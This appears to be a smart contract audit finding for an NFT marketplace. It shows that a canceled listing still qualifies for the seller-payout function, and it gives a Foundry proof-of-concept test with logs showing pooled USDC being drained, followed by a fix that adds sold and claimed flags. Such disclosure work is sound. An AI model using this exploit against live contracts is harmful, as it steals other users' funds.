Description
-
Under the intended marketplace flow, a seller should only be able to call collectUsdcFromSelling() after their listing has been successfully sold, because that function is supposed to release the buyer’s payment (minus fees) together with the seller’s locked collateral. A canceled listing should not be eligible for the sale-proceeds path because no buyer payment exists for that listing.
-
The issue is that collectUsdcFromSelling() accepts any inactive listing, while cancelListing() also makes a listing inactive. There is no separate state to distinguish a listing that became inactive because it was sold from a listing that became inactive because it was canceled. As a result, a seller can cancel a listing and still call collectUsdcFromSelling() on that canceled listing; whenever the contract later holds enough pooled USDC from unrelated activity, this becomes a fund-drain path.
function cancelListing(uint256 _listingId) external {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller == msg.sender, "Only seller can cancel listing");
s_listings[_listingId].isActive = false;
activeListingsCounter--;
usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
collateralForMinting[listing.tokenId] = 0;
emit NFT_Dealers_ListingCanceled(_listingId);
}
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
Risk
Likelihood: High
-
This occurs after any seller creates a listing and then cancels it, because the canceled listing immediately satisfies the !listing.isActive condition used by collectUsdcFromSelling().
-
This occurs whenever fresh USDC later accumulates in the contract through unrelated mints or purchases, because the contract uses a pooled USDC balance and does not reserve funds per listing.
Impact: High
-
A seller can withdraw funds for a listing that was never sold, causing direct loss of funds to the protocol or to other users whose legitimate sale proceeds are sitting in the contract waiting to be claimed.
-
The bug breaks the intended sale-settlement invariant and makes inactive-listing accounting unreliable, because “canceled” and “sold” are treated as the same payout-eligible state.
Proof of Concept
-
Add import {console2} from "forge-std/console2.sol"; at the top of NFTDealersTest.t.sol.
-
Copy the code below to NFTDealersTest contract.
-
Run command forge test --mt testCanceledListingCanStillTriggerPayoutPath -vv.
function testCanceledListingCanStillTriggerPayoutPath() public revealed whitelisted {
address attacker = userWithCash;
address honestSeller = makeAddr("honestSeller");
address honestBuyer = userWithEvenMoreCash;
uint32 salePrice = 1000e6;
uint256 fees = nftDealers.calculateFees(salePrice);
uint256 attackerExpectedStolenAmount = uint256(salePrice) - fees;
usdc.mint(honestSeller, 20e6);
vm.prank(owner);
nftDealers.whitelistWallet(honestSeller);
mintNFTForTesting();
vm.startPrank(attacker);
nftDealers.list(1, salePrice);
nftDealers.cancelListing(1);
vm.stopPrank();
(address canceledSeller, uint32 canceledPrice,, uint256 canceledTokenId, bool canceledIsActive) = nftDealers.s_listings(1);
console2.log("Canceled listing seller:", canceledSeller);
console2.log("Canceled listing price:", uint256(canceledPrice));
console2.log("Canceled listing tokenId:", canceledTokenId);
console2.log("Canceled listing active flag:", canceledIsActive ? uint256(1) : uint256(0));
console2.log("Collateral after cancel:", nftDealers.collateralForMinting(1));
console2.log("Attacker balance after cancel:", usdc.balanceOf(attacker));
assertFalse(canceledIsActive, "listing should be inactive after cancel");
assertEq(nftDealers.collateralForMinting(1), 0, "collateral should be zero after cancel");
vm.startPrank(honestSeller);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
nftDealers.list(2, salePrice);
vm.stopPrank();
vm.startPrank(honestBuyer);
usdc.approve(address(nftDealers), salePrice);
nftDealers.buy(2);
vm.stopPrank();
uint256 contractBalanceBeforeExploit = usdc.balanceOf(address(nftDealers));
uint256 attackerBalanceBeforeExploit = usdc.balanceOf(attacker);
console2.log("Contract balance before exploit:", contractBalanceBeforeExploit);
console2.log("Attacker balance before exploit:", attackerBalanceBeforeExploit);
assertEq(contractBalanceBeforeExploit, 1020e6, "unexpected contract funding state before exploit");
vm.prank(attacker);
nftDealers.collectUsdcFromSelling(1);
uint256 attackerBalanceAfterExploit = usdc.balanceOf(attacker);
uint256 contractBalanceAfterExploit = usdc.balanceOf(address(nftDealers));
console2.log("Attacker expected stolen amount:", attackerExpectedStolenAmount);
console2.log("Attacker balance after exploit:", attackerBalanceAfterExploit);
console2.log("Contract balance after exploit:", contractBalanceAfterExploit);
assertEq(
attackerBalanceAfterExploit,
attackerBalanceBeforeExploit + attackerExpectedStolenAmount,
"BUG: attacker was able to collect payout from a canceled listing"
);
assertEq(
contractBalanceAfterExploit,
contractBalanceBeforeExploit - attackerExpectedStolenAmount,
"BUG: canceled listing payout drained pooled contract funds"
);
}
Output:
[⠊] Compiling...
No files changed, compilation skipped
Ran 1 test for test/NFTDealersTest.t.sol:NFTDealersTest
[PASS] testCanceledListingCanStillTriggerPayoutPath() (gas: 600115)
Logs:
Canceled listing seller: 0x22CdC71E987473D657FCe79C9C0C0B1A62148056
Canceled listing price: 1000000000
Canceled listing tokenId: 1
Canceled listing active flag: 0
Collateral after cancel: 0
Attacker balance after cancel: 20000000
Contract balance before exploit: 1020000000
Attacker balance before exploit: 20000000
Attacker expected stolen amount: 990000000
Attacker balance after exploit: 1010000000
Contract balance after exploit: 30000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 21.41ms (6.81ms CPU time)
Ran 1 test suite in 94.95ms (21.41ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Recommended Mitigation
The marketplace should explicitly distinguish at least three post-listing outcomes: Active, Canceled, and Sold.
The seller payout path should only be available for listings that were actually sold, and only once. Inactive listings created through cancellation must never satisfy the payout condition.
Add a wasSold check so that canceled listings are not payout-eligible. Add a proceedsClaimed guard to ensure the payout path is only ever used once per actual sale.
struct Listing {
address seller;
uint32 price;
address nft;
uint256 tokenId;
bool isActive;
+ bool wasSold;
+ bool proceedsClaimed;
}
function buy(uint256 _listingId) external payable {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller != msg.sender, "Seller cannot buy their own NFT");
activeListingsCounter--;
bool success = usdc.transferFrom(msg.sender, address(this), listing.price);
require(success, "USDC transfer failed");
_safeTransfer(listing.seller, msg.sender, listing.tokenId, "");
s_listings[_listingId].isActive = false;
+ s_listings[_listingId].wasSold = true;
emit NFT_Dealers_Sold(msg.sender, listing.price);
}
function cancelListing(uint256 _listingId) external {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller == msg.sender, "Only seller can cancel listing");
s_listings[_listingId].isActive = false;
+ s_listings[_listingId].wasSold = false;
activeListingsCounter--;
usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
collateralForMinting[listing.tokenId] = 0;
emit NFT_Dealers_ListingCanceled(_listingId);
}
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
- require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(listing.wasSold, "Listing was not sold");
+ require(!listing.proceedsClaimed, "Proceeds already claimed");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
+ s_listings[_listingId].proceedsClaimed = true;
+ collateralForMinting[listing.tokenId] = 0;
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
- usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
